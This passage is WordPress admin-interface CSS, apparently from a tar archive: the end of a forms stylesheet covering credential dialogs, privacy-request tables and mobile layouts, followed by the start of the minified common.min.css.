.request-filesystem-credentials-dialog label[for="hostname"], .request-filesystem-credentials-dialog label[for="public_key"], .request-filesystem-credentials-dialog label[for="private_key"] { display: block; margin-bottom: 1em; } .request-filesystem-credentials-dialog .ftp-username, .request-filesystem-credentials-dialog .ftp-password { float: left; width: 48%; } .request-filesystem-credentials-dialog .ftp-password { margin-left: 4%; } .request-filesystem-credentials-dialog .request-filesystem-credentials-action-buttons { text-align: right; } .request-filesystem-credentials-dialog label[for="ftp"] { margin-right: 10px; } .request-filesystem-credentials-dialog #auth-keys-desc { margin-bottom: 0; } #request-filesystem-credentials-dialog .button:not(:last-child) { margin-right: 10px; } #request-filesystem-credentials-form .cancel-button { display: none; } #request-filesystem-credentials-dialog .cancel-button { display: inline; } .request-filesystem-credentials-dialog .ftp-username, .request-filesystem-credentials-dialog .ftp-password { float: none; width: auto; } .request-filesystem-credentials-dialog .ftp-username { margin-bottom: 1em; } .request-filesystem-credentials-dialog .ftp-password { margin: 0; } .request-filesystem-credentials-dialog .ftp-password em { color: #757575; } .request-filesystem-credentials-dialog label { display: block; line-height: 1.5; margin-bottom: 1em; } .request-filesystem-credentials-form legend { padding-bottom: 0; } .request-filesystem-credentials-form #ssh-keys legend { font-size: 1.3em; } .request-filesystem-credentials-form .notice { margin: 0 0 20px; clear: both; } /*------------------------------------------------------------------------------ Privacy Policy settings screen ------------------------------------------------------------------------------*/ .tools-privacy-policy-page form { margin-bottom: 1.3em; } .tools-privacy-policy-page input.button { margin: 0 1px 0 6px; } .tools-privacy-policy-page select { margin: 0 1px 0.5em 6px; } .tools-privacy-edit { margin: 1.5em 0; } .tools-privacy-policy-page span { line-height: 2; } .privacy_requests .column-email { width: 40%; } .privacy_requests .column-type { text-align: center; } .privacy_requests thead td:first-child, .privacy_requests tfoot td:first-child { border-left: 4px solid #fff; } .privacy_requests tbody th { border-left: 4px solid #fff; background: #fff; box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); } .privacy_requests .row-actions { color: #787c82; } .privacy_requests .row-actions.processing { position: static; } .privacy_requests tbody .has-request-results th { box-shadow: none; } .privacy_requests tbody .request-results th .notice { margin: 0 0 5px; } .privacy_requests tbody td { background: #fff; box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); } .privacy_requests tbody .has-request-results td { box-shadow: none; } .privacy_requests .next_steps .button { word-wrap: break-word; white-space: normal; } .privacy_requests .status-request-confirmed th, .privacy_requests .status-request-confirmed td { background-color: #fff; border-left-color: #72aee6; } .privacy_requests .status-request-failed th, .privacy_requests .status-request-failed td { background-color: #f6f7f7; border-left-color: #d63638; } .privacy_requests .export_personal_data_failed a { vertical-align: baseline; } .status-label { font-weight: 600; } .status-label.status-request-pending { font-weight: 400; font-style: italic; color: #646970; } .status-label.status-request-failed { color: #d63638; font-weight: 600; } .privacy_requests .status-date { display: block; font-weight: 400; } .wp-privacy-request-form { clear: both; } .wp-privacy-request-form-field { margin: 1.5em 0; } .wp-privacy-request-form input { margin: 0; } /* =Media Queries -------------------------------------------------------------- */ @media screen and (max-width: 782px) { /* Input Elements */ textarea { -webkit-appearance: none; } input[type="text"], input[type="password"], input[type="date"], input[type="datetime"], input[type="datetime-local"], input[type="email"], input[type="month"], input[type="number"], input[type="search"], input[type="tel"], input[type="time"], input[type="url"], input[type="week"] { -webkit-appearance: none; padding: 0 12px; min-height: 40px; } ::-webkit-datetime-edit { line-height: 1.875; /* 30px */ } input[type="checkbox"], .widefat th input[type="checkbox"], .widefat thead td input[type="checkbox"], .widefat tfoot td input[type="checkbox"] { -webkit-appearance: none; } .widefat th input[type="checkbox"], .widefat thead td input[type="checkbox"], .widefat tfoot td input[type="checkbox"] { margin-bottom: 8px; } input[type="checkbox"]:checked:before, .widefat th input[type="checkbox"]:before, .widefat thead td input[type="checkbox"]:before, .widefat tfoot td input[type="checkbox"]:before { width: 1.875rem; height: 1.875rem; margin: -0.1875rem -0.3125rem; } input[type="radio"], input[type="checkbox"] { height: 1.5625rem; width: 1.5625rem; } .wp-admin p input[type="checkbox"], .wp-admin p input[type="radio"] { margin-top: -0.1875rem; } input[type="radio"]:checked:before { vertical-align: middle; width: 0.5625rem; height: 0.5625rem; margin: 0.4375rem; line-height: 0.76190476; } .wp-core-ui select, .wp-admin .form-table select { min-height: 40px; font-size: 16px; line-height: 2.5; /* 40px for 16px font */ padding: 0 24px 0 12px; } .wp-admin .button-cancel { margin-bottom: 0; padding: 2px 0; font-size: 14px; vertical-align: middle; } #adduser .form-field input, #createuser .form-field input { width: 100%; } .form-table { box-sizing: border-box; } .form-table th, .form-table td, .label-responsive { display: block; width: auto; vertical-align: middle; } .label-responsive { margin: 0.5em 0; } .export-filters li { margin-bottom: 0; } .form-table .color-palette .color-palette-shade, .form-table .color-palette td { display: table-cell; width: 15px; height: 30px; padding: 0; } .form-table .color-palette { margin-right: 10px; } textarea, input { font-size: 16px; } .form-table td input[type="text"], .form-table td input[type="email"], .form-table td input[type="password"], .form-table td select, .form-table td textarea, .form-table span.description, #profile-page .form-table textarea { width: 100%; display: block; max-width: none; box-sizing: border-box; } .form-table .form-required.form-invalid td:after { float: right; margin: -30px 3px 0 0; } input[type="text"].small-text, input[type="search"].small-text, input[type="password"].small-text, input[type="number"].small-text, input[type="number"].small-text, .form-table input[type="text"].small-text { width: auto; max-width: 4.375em; /* 70px, enough for 4 digits to fit comfortably */ display: inline; padding: 3px 6px; margin: 0 3px; } .form-table .regular-text ~ input[type="text"].small-text { margin-top: 5px; } #pass-strength-result { width: 100%; box-sizing: border-box; padding: 8px; } .profile-php .wp-pwd .caps-warning { padding: 8px; } .password-input-wrapper { display: block; } .wp-core-ui .tablenav input[type="text"], .wp-core-ui .tablenav input[type="password"], .wp-core-ui .tablenav input[type="date"], .wp-core-ui .tablenav input[type="datetime"], .wp-core-ui .tablenav input[type="datetime-local"], .wp-core-ui .tablenav input[type="email"], .wp-core-ui .tablenav input[type="month"], .wp-core-ui .tablenav input[type="number"], .wp-core-ui .tablenav input[type="search"], .wp-core-ui .tablenav input[type="tel"], .wp-core-ui .tablenav input[type="time"], .wp-core-ui .tablenav input[type="url"], .wp-core-ui .tablenav input[type="week"], .wp-core-ui .tablenav select { min-height: 40px; } .wp-core-ui .tablenav .button { min-height: 40px; line-height: 2.71428571; padding: 0 14px; } p.search-box { float: none; width: 100%; margin-bottom: 20px; display: flex; } p.search-box input[name="s"] { width: 100%; float: none; margin-bottom: 10px; vertical-align: middle; } .js.plugins-php .search-box .wp-filter-search { width: 100%; margin-bottom: 0; } p.search-box input[type="search"], p.search-box input[type="text"] { min-height: 40px; padding: 0 12px; } p.search-box input[type="submit"].button { margin-bottom: 10px; } .form-table span.description { display: inline; padding: 4px 0 0; line-height: 1.4; font-size: 14px; } .form-table th { padding: 10px 0 0; border-bottom: 0; } .form-table td { margin-bottom: 0; padding: 4px 0 6px; } .form-table.permalink-structure td code { display: inline-block; } .form-table.permalink-structure .structure-selection { margin-top: 8px; } .form-table.permalink-structure .structure-selection .row > div { max-width: calc(100% - 36px); width: 100%; } .form-table.permalink-structure td input[type="text"] { margin-top: 4px; } .permalink-structure-has-blog-prefix { display: flex; align-items: center; } .form-table input.regular-text { width: 100%; } .form-table label { font-size: 14px; } .form-table td > label:first-child { display: inline-block; margin-top: 0.35em; } .background-position-control .button-group > label { font-size: 0; } .form-table fieldset label { display: block; } .form-field #domain { max-width: none; } /* New Password */ .wp-pwd { position: relative; } /* Needs higher specificity than normal input type text and password. */ #profile-page .form-table #pass1 { padding-right: 90px; } .wp-pwd button.button { background: transparent; border: 1px solid transparent; box-shadow: none; line-height: 2; margin: 0; padding: 5px 9px; position: absolute; right: 0; top: 0; width: 2.375rem; height: 2.375rem; min-width: 40px; min-height: 40px; } .wp-pwd button.wp-hide-pw { right: 2.5rem; } body.user-new-php .wp-pwd button.wp-hide-pw { right: 0; } .wp-pwd button.button:hover, .wp-pwd button.button:focus { background: transparent; } .wp-pwd button.button:active { background: transparent; box-shadow: none; transform: none; } .wp-pwd .button .text { display: none; } .wp-pwd [type="text"], .wp-pwd [type="password"] { line-height: 2; padding-right: 5rem; } body.user-new-php .wp-pwd [type="text"], body.user-new-php .wp-pwd [type="password"] { padding-right: 2.5rem; } .wp-cancel-pw .dashicons-no { display: inline-block; } .mailserver-pass-wrap .wp-pwd { display: block; } /* rtl:ignore */ #mailserver_pass { padding-left: 10px; } .options-general-php input[type="text"].small-text { max-width: 6.25em; margin: 0; min-height: 40px; } /* Privacy Policy settings screen */ .tools-privacy-policy-page form.wp-create-privacy-page { margin-bottom: 1em; } .tools-privacy-policy-page input#set-page, .tools-privacy-policy-page select { margin: 10px 0 0; } .tools-privacy-policy-page .wp-create-privacy-page span { display: block; margin-bottom: 1em; } .tools-privacy-policy-page .wp-create-privacy-page .button { margin-left: 0; } .wp-list-table.privacy_requests tr:not(.inline-edit-row):not(.no-items) td.column-primary:not(.check-column) { display: table-cell; } .wp-list-table.privacy_requests.widefat th input, .wp-list-table.privacy_requests.widefat thead td input { margin-left: 5px; } .wp-privacy-request-form-field input[type="text"] { width: 100%; margin-bottom: 10px; vertical-align: middle; } .regular-text { max-width: 100%; } } @media only screen and (max-width: 768px) { .form-field input[type="text"], .form-field input[type="email"], .form-field input[type="password"], .form-field select, .form-field textarea { width: 99%; } .form-wrap .form-field { padding: 0; } } @media only screen and (max-height: 480px), screen and (max-width: 450px) { /* Request Credentials / File Editor Warning */ .request-filesystem-credentials-dialog .notification-dialog, .file-editor-warning .notification-dialog { width: 100%; height: 100%; max-height: 100%; position: fixed; top: 0; margin: 0; left: 0; } } /* Smartphone */ @media screen and (max-width: 600px) { /* Color Picker Options */ .color-option { width: 49%; } } @media only screen and (max-width: 320px) { .options-general-php .date-time-text.date-time-custom-text { min-width: 0; margin-right: 0.5em; } } @keyframes rotation { 0% { transform: rotate(0deg); } 100% { transform: rotate(359deg); } } css/common.min.css 0000644 00000170126 15233246127 0010134 0 ustar 00 /*! This file is auto-generated */ #wpwrap{height:auto;min-height:100%;width:100%;position:relative;-webkit-font-smoothing:subpixel-antialiased}#wpcontent{height:100%;padding-left:20px}#wpcontent,#wpfooter{margin-left:160px}.folded #wpcontent,.folded #wpfooter{margin-left:36px}#wpbody-content{padding-bottom:65px;float:left;width:100%;overflow:visible}.inner-sidebar{float:right;clear:right;display:none;width:281px;position:relative}.columns-2 .inner-sidebar{margin-right:auto;width:286px;display:block}.columns-2 .inner-sidebar #side-sortables,.inner-sidebar #side-sortables{min-height:300px;width:280px;padding:0}.has-right-sidebar .inner-sidebar{display:block}.has-right-sidebar #post-body{float:left;clear:left;width:100%;margin-right:-2000px}.has-right-sidebar #post-body-content{margin-right:300px;float:none;width:auto}#col-left{float:left;width:35%}#col-right{float:right;width:65%}#col-left .col-wrap{padding:0 6px 0 0}#col-right .col-wrap{padding:0 0 0 6px}.alignleft{float:left}.alignright{float:right}.textleft{text-align:left}.textright{text-align:right}.clear{clear:both}.wp-clearfix:after{content:"";display:table;clear:both}.screen-reader-text,.screen-reader-text span,.ui-helper-hidden-accessible{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important;word-break:normal!important}.button .screen-reader-text{height:auto}.screen-reader-text+.dashicons-external{margin-top:-1px;margin-left:2px;text-decoration:none}.screen-reader-shortcut{position:absolute;top:-1000em;left:6px;height:auto;width:auto;display:block;font-size:14px;font-weight:600;padding:15px 23px 14px;background:#fff;color:var(--wp-admin-theme-color,#3858e9);z-index:100000;line-height:normal}.screen-reader-shortcut:focus{top:-25px;color:var(--wp-admin-theme-color,#3858e9);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);text-decoration:none;outline:2px solid transparent;outline-offset:-2px}.hidden,.js .closed .inside,.js .hide-if-js,.js .wp-core-ui .hide-if-js,.js.wp-core-ui .hide-if-js,.no-js .hide-if-no-js,.no-js .wp-core-ui .hide-if-no-js,.no-js.wp-core-ui .hide-if-no-js{display:none}#menu-management .menu-edit,#menu-settings-column .accordion-container,.comment-ays,.feature-filter,.manage-menus,.menu-item-handle,.popular-tags,.stuffbox,.widget-inside,.widget-top,.widgets-holder-wrap,.wp-editor-container,p.popular-tags,table.widefat{border:1px solid #c3c4c7;box-shadow:0 1px 1px rgba(0,0,0,.04)}.comment-ays,.feature-filter,.popular-tags,.stuffbox,.widgets-holder-wrap,.wp-editor-container,p.popular-tags,table.widefat{background:#fff}body,html{height:100%;margin:0;padding:0}body{background:#f0f0f1;color:#3c434a;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:13px;line-height:1.4em;min-width:600px}body.iframe{min-width:0;padding-top:1px}body.modal-open{overflow:hidden}body.mobile.modal-open #wpwrap{overflow:hidden;position:fixed;height:100%}iframe,img{border:0}td{font-family:inherit;font-size:inherit;font-weight:inherit;line-height:inherit}a{color:#2271b1;transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out}a,div{outline:0}a:active,a:hover{color:#135e96}.wp-person a:focus .gravatar,a:focus,a:focus .media-icon img,a:focus .plugin-icon{color:#043959;border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}#adminmenu a:focus{box-shadow:none;outline:1px solid transparent;outline-offset:-1px}.screen-reader-text:focus{box-shadow:none;outline:0}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}.wp-die-message,p{font-size:13px;line-height:1.5;margin:1em 0}blockquote{margin:1em}dd,li{margin-bottom:6px}h1,h2,h3,h4,h5,h6{display:block;font-weight:600}h1{color:#1d2327;font-size:2em;margin:.67em 0}h2,h3{color:#1d2327;font-size:1.3em;margin:1em 0}.update-core-php h2{margin-top:4em}.update-messages h2,.update-php h2,h4{font-size:1em;margin:1.33em 0}h5{font-size:.83em;margin:1.67em 0}h6{font-size:.67em;margin:2.33em 0}ol,ul{padding:0}ul{list-style:none}ol{list-style-type:decimal;margin-left:2em}ul.ul-disc{list-style:disc outside}ul.ul-square{list-style:square outside}ol.ol-decimal{list-style:decimal outside}ol.ol-decimal,ul.ul-disc,ul.ul-square{margin-left:1.8em}ol.ol-decimal>li,ul.ul-disc>li,ul.ul-square>li{margin:0 0 .5em}.ltr{direction:ltr}.code,code{font-family:Consolas,Monaco,monospace;direction:ltr;unicode-bidi:embed}code,kbd{padding:3px 5px 2px;margin:0 1px;background:#f0f0f1;background:rgba(0,0,0,.07);font-size:13px}.subsubsub{list-style:none;margin:8px 0 0;padding:0;font-size:13px;float:left;color:#646970}.subsubsub a{line-height:2;padding:.2em;text-decoration:none}.subsubsub a .count,.subsubsub a.current .count{color:#50575e;font-weight:400}.subsubsub a.current{font-weight:600;border:none}.subsubsub li{display:inline-block;margin:0;padding:0;white-space:nowrap}.widefat{border-spacing:0;width:100%;clear:both;margin:0}.widefat *{word-wrap:break-word}.widefat a,.widefat button.button-link{text-decoration:none}.widefat td,.widefat th{padding:8px 10px}.widefat thead td,.widefat thead th{border-bottom:1px solid #c3c4c7}.widefat tfoot td,.widefat tfoot th{border-top:1px solid #c3c4c7;border-bottom:none}.widefat .no-items td{border-bottom-width:0}.widefat td{vertical-align:top}.widefat td,.widefat td ol,.widefat td p,.widefat td ul{font-size:13px;line-height:1.5em}.widefat tfoot td,.widefat th,.widefat thead td{text-align:left;line-height:1.3em;font-size:14px}.updates-table td input,.widefat tfoot td input,.widefat th input,.widefat thead td input{margin:0 0 0 8px;padding:0;vertical-align:text-top}.widefat .check-column{width:2.2em;padding:6px 0 25px;vertical-align:top}.widefat tbody th.check-column{padding:9px 0 22px}.updates-table tbody td.check-column,.widefat tbody th.check-column,.widefat tfoot td.check-column,.widefat thead td.check-column{padding:11px 0 0 3px}.widefat tfoot td.check-column,.widefat thead td.check-column{padding-top:4px;vertical-align:middle}.update-php div.error,.update-php div.updated{margin-left:0}.js-update-details-toggle .dashicons{text-decoration:none}.js-update-details-toggle[aria-expanded=true] .dashicons::before{content:"\f142";content:"\f142"/''}.no-js .widefat tfoot .check-column input,.no-js .widefat thead .check-column input{display:none}.column-comments,.column-links,.column-posts,.widefat .num{text-align:center}.widefat th#comments{vertical-align:middle}.wrap{margin:10px 20px 0 2px}.postbox .inside h2,.wrap [class$=icon32]+h2,.wrap h1,.wrap>h2:first-child{font-size:23px;font-weight:400;margin:0;padding:9px 0 4px;line-height:1.3}.wrap h1.wp-heading-inline{display:inline-block;margin-right:5px}.wp-header-end{visibility:hidden;margin:-2px 0 0}.subtitle{margin:0;padding-left:25px;color:#50575e;font-size:14px;font-weight:400;line-height:1}.subtitle strong{word-break:break-all}.wrap .add-new-h2,.wrap .add-new-h2:active,.wrap .page-title-action,.wrap .page-title-action:active{display:inline-block;position:relative;box-sizing:border-box;cursor:pointer;white-space:nowrap;text-decoration:none;text-shadow:none;top:-3px;margin-left:4px;border:1px solid #2271b1;border-radius:2px;background:0 0;font-size:13px;font-weight:500;min-height:32px;line-height:2.30769231;color:#2271b1;padding:0 12px;-webkit-appearance:none}.wrap .wp-heading-inline+.page-title-action{margin-left:0}.wrap .add-new-h2:hover,.wrap .page-title-action:hover{border-color:#0a4b78;color:#0a4b78}.page-title-action:focus{color:#0a4b78}.form-table th label[for=WPLANG] .dashicons,.form-table th label[for=locale] .dashicons{margin-left:5px}.wrap .page-title-action:focus{border-color:#3582c4;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent}.wrap h1.long-header{padding-right:0}.wp-dialog{background-color:#fff}#available-widgets .widget-top:hover,#widgets-left .widget-in-question .widget-top,#widgets-left .widget-top:hover,.widgets-chooser ul,div#widgets-right .widget-top:hover{border-color:#8c8f94;box-shadow:0 1px 2px rgba(0,0,0,.1)}.sorthelper{background-color:#c5d9ed}.ac_match,.subsubsub a.current{color:#000}.alternate,.striped>tbody>:nth-child(odd),ul.striped>:nth-child(odd){background-color:#f6f7f7}.bar{background-color:#f0f0f1;border-right-color:var(--wp-admin-theme-color)}.highlight{background-color:rgba(var(--wp-admin-theme-color--rgb),.08);color:#3c434a}.wp-ui-primary{color:#fff;background-color:#2c3338}.wp-ui-text-primary{color:#2c3338}.wp-ui-highlight{color:#fff;background-color:#2271b1}.wp-ui-text-highlight{color:#2271b1}.wp-ui-notification{color:#fff;background-color:#d63638}.wp-ui-text-notification{color:#d63638}.wp-ui-text-icon{color:#8c8f94}img.emoji{display:inline!important;border:none!important;height:1em!important;width:1em!important;margin:0 .07em!important;vertical-align:-.1em!important;background:0 0!important;padding:0!important;box-shadow:none!important}#nav-menu-footer,#nav-menu-header,#your-profile #rich_editing,.checkbox,.control-section .accordion-section-title,.menu-item-handle,.postbox .hndle,.side-info,.sidebar-name,.stuffbox .hndle,.widefat tfoot td,.widefat tfoot th,.widefat thead td,.widefat thead th,.widget .widget-top{line-height:1.4em}.menu-item-handle,.widget .widget-top{background:#f6f7f7;color:#1d2327}.stuffbox .hndle{border-bottom:1px solid #c3c4c7}.quicktags{background-color:#c3c4c7;color:#000;font-size:12px}.icon32{display:none}#bulk-titles .ntdelbutton:before,.notice-dismiss:before,.tagchecklist .ntdelbutton .remove-tag-icon:before,.welcome-panel .welcome-panel-close:before{background:0 0;color:#1e1e1e;content:"\f335";content:"\f335"/'';display:block;font:normal 20px/1 dashicons;height:1em;text-align:center;width:1em;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.welcome-panel .welcome-panel-close:before{margin:0}.tagchecklist .ntdelbutton .remove-tag-icon:before{margin-left:2px;border-radius:50%;color:var(--wp-admin-theme-color,#3858e9);line-height:1.1}.tagchecklist .ntdelbutton:focus{outline:0}#bulk-titles .ntdelbutton:focus:before,#bulk-titles .ntdelbutton:hover:before,.tagchecklist .ntdelbutton:focus .remove-tag-icon:before,.tagchecklist .ntdelbutton:hover .remove-tag-icon:before{color:#d63638}.tagchecklist .ntdelbutton:focus .remove-tag-icon:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}.key-labels label{line-height:24px}b,strong{font-weight:600}.pre{white-space:pre-wrap;word-wrap:break-word}.howto{color:#646970;display:block}p.install-help{margin:8px 0;font-style:italic}.no-break{white-space:nowrap}hr{border:0;border-top:1px solid #dcdcde;border-bottom:1px solid #f6f7f7}#all-plugins-table .plugins a.delete,#delete-link a.delete,#media-items a.delete,#media-items a.delete-permanently,#nav-menu-footer .menu-delete,#search-plugins-table .plugins a.delete,.plugins a.delete,.privacy_requests .remove-personal-data .remove-personal-data-handle,.row-actions span.delete a,.row-actions span.spam a,.row-actions span.trash a,.submitbox .submitdelete,a#remove-post-thumbnail{color:#b32d2e}#all-plugins-table .plugins a.delete:hover,#delete-link a.delete:hover,#media-items a.delete-permanently:hover,#media-items a.delete:hover,#nav-menu-footer .menu-delete:hover,#search-plugins-table .plugins a.delete:hover,.file-error,.plugins a.delete:hover,.privacy_requests .remove-personal-data .remove-personal-data-handle:hover,.row-actions .delete a:hover,.row-actions .spam a:hover,.row-actions .trash a:hover,.submitbox .submitdelete:hover,a#remove-post-thumbnail:hover,abbr.required,span.required{color:#b32d2e;border:none}.application-password-display .success{color:#007017;margin-left:.5rem}#major-publishing-actions{padding:10px;clear:both;border-top:1px solid #dcdcde;background:#f6f7f7;display:flex;flex-wrap:wrap;align-items:center;justify-content:space-between}#delete-action{line-height:2.30769231}#delete-link a{text-decoration:none}#publishing-action{text-align:right;margin-left:auto;line-height:1.9}#publishing-action .spinner{float:none}#misc-publishing-actions{padding:6px 0 0}.misc-pub-section{padding:6px 10px 8px}.misc-pub-filename,.word-wrap-break-word{word-wrap:break-word}#minor-publishing-actions{padding:10px 10px 0;text-align:right}#save-post{float:left}.preview{float:right}#sticky-span{margin-left:18px}.approve,.unapproved .unapprove{display:none}.spam .approve,.trash .approve,.unapproved .approve{display:inline}td.action-links,th.action-links{text-align:right}#misc-publishing-actions .notice{margin-left:10px;margin-right:10px}.wp-filter{display:inline-block;position:relative;box-sizing:border-box;margin:12px 0 25px;padding:0 10px;width:100%;box-shadow:0 1px 1px rgba(0,0,0,.04);border:1px solid #c3c4c7;background:#fff;color:#50575e;font-size:13px}.wp-filter a{text-decoration:none}.filter-count{display:inline-block;vertical-align:middle;min-width:4em}.filter-count .count,.title-count{display:inline-block;position:relative;top:-1px;padding:4px 10px;border-radius:30px;background:#646970;color:#fff;font-size:14px;font-weight:600}.title-count{display:inline;top:-3px;margin-left:5px;margin-right:20px}.filter-items{float:left}.filter-links{display:inline-block;margin:0}.filter-links li{display:inline-block;margin:0}.filter-links li>a{display:inline-block;margin:0 10px;padding:15px 0;border-bottom:4px solid #fff;color:#646970;cursor:pointer}.filter-links .current{box-shadow:none;border-bottom:4px solid var(--wp-admin-theme-color);color:#1d2327}.filter-links li>a:focus,.filter-links li>a:hover,.show-filters .filter-links a.current:focus,.show-filters .filter-links a.current:hover{color:var(--wp-admin-theme-color)}.wp-filter .search-form{float:right;display:flex;align-items:center;column-gap:.5rem}.wp-filter .search-form input[type=search]{width:280px;max-width:100%}.wp-filter .search-form select{margin:0}.wp-filter .search-form input[type=search]{min-height:32px;padding:0 8px}.wp-filter .filter-items select,.wp-filter .search-form select{min-height:32px;line-height:2.14285714;padding:0 24px 0 8px}.wp-filter .button{min-height:32px;line-height:2.30769231;padding:0 12px}.plugin-install-php .wp-filter,.upload-php .wp-filter{display:flex;flex-wrap:wrap;justify-content:space-between;align-items:center}.no-js .wp-filter .search-form.search-plugins .button,.wp-filter .search-form.search-plugins .wp-filter-search,.wp-filter .search-form.search-plugins select{display:inline-block;vertical-align:top}.wp-filter .button.drawer-toggle{margin:10px 9px 0;padding:0 10px 0 6px;border-color:transparent;background-color:transparent;color:#646970;vertical-align:baseline;box-shadow:none}.wp-filter .drawer-toggle:before{content:"\f111";content:"\f111"/'';margin:0 5px 0 0;color:#646970;font:normal 16px/1 dashicons;vertical-align:text-bottom;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-filter .button.drawer-toggle:focus,.wp-filter .button.drawer-toggle:hover,.wp-filter .drawer-toggle:focus:before,.wp-filter .drawer-toggle:hover:before{background-color:transparent;color:var(--wp-admin-theme-color)}.wp-filter .button.drawer-toggle:focus:active,.wp-filter .button.drawer-toggle:hover{border-color:transparent}.wp-filter .button.drawer-toggle:focus{border-color:var(--wp-admin-theme-color)}.wp-filter .button.drawer-toggle:active{background:0 0;box-shadow:none;transform:none}.wp-filter .drawer-toggle.current:before{color:#fff}.filter-drawer,.wp-filter .favorites-form{display:none;margin:0 -10px 0 -20px;padding:20px;border-top:1px solid #f0f0f1;background:#f6f7f7;overflow:hidden}.wp-filter .favorites-form .favorites-username{display:flex;align-items:center;flex-wrap:wrap;gap:.5rem}.wp-filter .favorites-form .favorites-username input{margin:0}.show-favorites-form .favorites-form,.show-filters .filter-drawer{display:block}.show-filters .filter-links a.current{border-bottom:none}.show-filters .wp-filter .button.drawer-toggle{border-radius:2px;background:#646970;color:#fff}.show-filters .wp-filter .drawer-toggle:focus,.show-filters .wp-filter .drawer-toggle:hover{background:var(--wp-admin-theme-color)}.show-filters .wp-filter .drawer-toggle:before{color:#fff}.filter-group{box-sizing:border-box;position:relative;float:left;margin:0 1% 0 0;padding:20px 10px 10px;width:24%;background:#fff;border:1px solid #dcdcde;box-shadow:0 1px 1px rgba(0,0,0,.04)}.filter-group legend{position:absolute;top:10px;display:block;margin:0;padding:0;font-size:1em;font-weight:600}.filter-drawer .filter-group-feature{margin:28px 0 0;list-style-type:none;font-size:12px}.filter-drawer .filter-group-feature input,.filter-drawer .filter-group-feature label{line-height:1.4}.filter-drawer .filter-group-feature input{position:absolute;margin:0}.filter-group .filter-group-feature label{display:block;margin:14px 0 14px 23px}.filter-drawer .buttons{clear:both;margin-bottom:20px}.filter-drawer .filter-group+.buttons{margin-bottom:0;padding-top:20px}.filter-drawer .buttons .button span{display:inline-block;opacity:.8;font-size:12px;text-indent:10px}.wp-filter .button.clear-filters{display:none;margin-left:10px}.wp-filter .button-link.edit-filters{padding:0 5px;line-height:2.2}.filtered-by{display:none;margin:0}.filtered-by>span{font-weight:600}.filtered-by a{margin-left:10px}.filtered-by .tags{display:flex;align-items:flex-start;flex-wrap:wrap;gap:8px}.filtered-by .tag{padding:4px 8px;border:1px solid #dcdcde;box-shadow:0 1px 1px rgba(0,0,0,.04);background:#fff;font-size:11px}.filters-applied .filter-drawer .buttons,.filters-applied .filter-drawer br,.filters-applied .filter-group{display:none}.filters-applied .filtered-by{display:flex;align-items:center;flex-wrap:wrap;gap:10px}.filters-applied .filter-drawer{padding:20px}.error .content-filterable,.loading-content .content-filterable,.show-filters .content-filterable,.show-filters .favorites-form,.show-filters.filters-applied.loading-content .content-filterable{display:none}.show-filters.filters-applied .content-filterable{display:block}.loading-content .spinner{display:block;margin:40px auto 0;float:none}@media only screen and (max-width:1138px){.wp-filter .search-form{margin:11px 0}}@media only screen and (max-width:1250px){.wp-filter:has(.plugin-install-search) .search-form{margin:11px 0}}@media only screen and (max-width:1120px){.filter-drawer{border-bottom:1px solid #f0f0f1}.filter-group{margin-bottom:0;margin-top:5px;width:100%}.filter-group li{margin:10px 0}}@media only screen and (max-width:1000px){.filter-items{float:none}.wp-filter .media-toolbar-primary,.wp-filter .media-toolbar-secondary,.wp-filter .search-form{float:none;position:relative;max-width:100%}.wp-filter .search-form{margin:11px 0;flex-wrap:wrap;row-gap:10px}}@media only screen and (max-width:782px){.filter-group li{padding:0;width:50%}.wp-filter .search-form input[type=search]{min-height:40px;padding:0 12px}.wp-filter .filter-items select,.wp-filter .search-form select{min-height:40px;padding:0 24px 0 12px}}@media only screen and (max-width:320px){.filter-count{display:none}.wp-filter .drawer-toggle{margin:10px 0}.filter-group li,.wp-filter .search-form input[type=search]{width:100%}}.notice,div.error,div.updated{background:#fff;border:none;border-left:4px solid #c3c4c7;box-shadow:none;margin:5px 15px 2px;padding:8px 12px}div[class=update-message]{padding:.5em 12px .5em 0}.form-table td .notice p,.notice p,.notice-title,div.error p,div.updated p{margin:.5em 0;padding:0;font-size:13px;line-height:1.54;color:#1e1e1e}div.error a,div.notice a,div.updated a{color:var(--wp-admin-theme-color-darker-10);text-decoration:underline}div.error a:hover,div.notice a:hover,div.updated a:hover{color:var(--wp-admin-theme-color-darker-20)}div.error a:focus,div.notice a:focus,div.updated a:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent;border-radius:2px}.notice-alt{box-shadow:none}.notice-large{padding:10px 20px}.notice-title{display:inline-block;color:#1d2327;font-size:18px}.wp-core-ui .notice.is-dismissible{padding-right:48px;position:relative}.notice-dismiss{position:absolute;top:12px;right:12px;border:none;margin:0;padding:0;background:0 0;color:#1e1e1e;cursor:pointer;width:24px;height:24px;display:flex;align-items:center;justify-content:center;border-radius:2px}.notice-dismiss:active:before,.notice-dismiss:hover:before{color:#1e1e1e;opacity:.7}.notice-dismiss:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid 